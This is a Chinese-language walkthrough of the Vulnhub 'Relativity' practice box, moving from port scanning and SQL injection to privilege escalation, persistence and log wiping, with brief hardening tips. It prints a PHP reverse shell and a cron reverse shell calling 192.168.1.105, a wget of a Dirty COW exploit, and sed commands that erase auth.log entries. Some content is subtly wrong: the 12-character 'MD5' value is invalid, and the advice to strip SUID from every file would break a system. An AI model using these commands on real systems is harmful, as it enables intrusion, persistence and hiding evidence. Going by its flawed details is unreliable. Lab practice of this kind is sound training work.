1. CTF靶场与提权基础概念
在网络安全竞赛和渗透测试训练中,CTF(Capture The Flag)靶场是最常见的实战演练环境。Relativity靶场作为Vulnhub平台上的经典训练场景,模拟了真实企业环境中常见的权限提升(Privilege Escalation)漏洞链。提权过程通常指从普通用户权限获取root或system级别权限的技术手段,这是渗透测试中突破内网边界的关键环节。
Relativity靶场的特点是:
- 基于Ubuntu系统构建的漏洞环境
- 包含多个层级的权限提升路径
- 需要组合使用系统配置漏洞和服务漏洞
- 模拟了真实企业环境中的错误配置场景
提示:在开始实战前,建议使用VirtualBox或VMware创建隔离的测试环境,将靶机IP设置为同一网段。推荐使用Kali Linux作为攻击机,内置了完整的渗透测试工具链。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 靶场环境初始信息收集
2.1 网络发现与端口扫描
使用nmap进行基础扫描是标准起手式:
bash复制nmap -sV -T4 -p- 192.168.1.108
典型扫描结果会显示:
- 22/tcp open ssh
- 80/tcp open http
- 3306/tcp open mysql
关键发现是80端口的Web服务,这是大多数CTF靶场的突破口。建议同时使用-A参数启用操作系统和版本检测,有时能发现易受攻击的服务版本。
2.2 Web目录枚举与敏感文件发现
使用dirb或gobuster进行目录爆破:
bash复制gobuster dir -u http://192.168.1.108 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt
在Relativity靶场中通常会发现:
- /admin.php - 后台管理入口
- /backup.zip - 网站源码备份
- /readme.txt - 包含数据库凭据
注意:实际比赛中备份文件往往使用.git、.svn等版本控制目录泄露,建议使用专门的工具如dvcs-ripper进行检测。
3. Web应用漏洞利用阶段
3.1 SQL注入获取后台访问权限
分析admin.php发现存在基于时间的盲注:
sql复制admin' AND (SELECT * FROM (SELECT(SLEEP(5)))a)-- -
使用sqlmap自动化利用:
bash复制sqlmap -u "http://192.168.1.108/admin.php" --data="user=admin&pass=test" --level=5 --risk=3 --dbs
成功获取到:
- 数据库名:relativity_db
- 表名:users
- 字段值:admin / 3f8d4e2b1a9c (MD5哈希)
3.2 密码破解与会话劫持
使用hashcat破解MD5:
bash复制hashcat -m 0 3f8d4e2b1a9c /usr/share/wordlists/rockyou.txt
获得明文密码"quantum"后,通过Burp Suite修改Cookie实现会话保持:
code复制Cookie: PHPSESSID=hacked; auth=admin:quantum
4. 系统级提权技术实现
4.1 通过Web Shell获取初始立足点
上传PHP反向Shell:
php复制<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.105/4444 0>&1'"); ?>
使用nc监听:
bash复制nc -lvnp 4444
获得www-data用户权限后,立即升级到标准shell:
bash复制python -c 'import pty; pty.spawn("/bin/bash")'
4.2 内核漏洞提权检测
检查系统信息:
bash复制uname -a
cat /etc/lsb-release
发现内核版本4.4.0-21存在脏牛(Dirty Cow)漏洞,使用预编译的exploit:
bash复制wget http://192.168.1.105/dirty.c
gcc -pthread dirty.c -o dirty
./dirty
4.3 SUID二进制文件滥用
当内核补丁已安装时,检查SUID文件:
bash复制find / -perm -4000 -type f 2>/dev/null
发现/usr/bin/find存在配置错误:
bash复制find . -exec /bin/sh -p \; -quit
5. 后渗透阶段与权限维持
5.1 创建持久化后门
添加SSH密钥到root的authorized_keys:
bash复制echo "ssh-rsa AAAAB3N..." >> /root/.ssh/authorized_keys
或者创建cron计划任务:
bash复制(crontab -l 2>/dev/null; echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/192.168.1.105/5555 0>&1'") | crontab -
5.2 痕迹清理与日志篡改
清除bash历史记录:
bash复制echo "" > ~/.bash_history
history -c
修改auth日志:
bash复制sed -i '/192.168.1.105/d' /var/log/auth.log
6. 防御措施与加固建议
6.1 系统配置加固
禁用危险SUID:
bash复制find / -perm -4000 -type f -exec chmod u-s {} \;
配置SSH安全策略:
bash复制echo "PermitRootLogin no" >> /etc/ssh/sshd_config
echo "PasswordAuthentication no" >> /etc/ssh/sshd_config
6.2 Web应用安全防护
PHP安全配置:
ini复制disable_functions = exec,passthru,shell_exec,system
open_basedir = /var/www/html
MySQL权限限制:
sql复制REVOKE FILE ON *.* FROM 'webuser'@'localhost';
在实际渗透测试中,Relativity靶场展示的提权路径需要根据具体环境灵活调整。我遇到过最棘手的情况是目标系统所有常规提权方法都被封堵,最终通过分析内存中的敏感数据完成了突破。建议在实战中保持耐心,多角度尝试不同的提权技术组合。
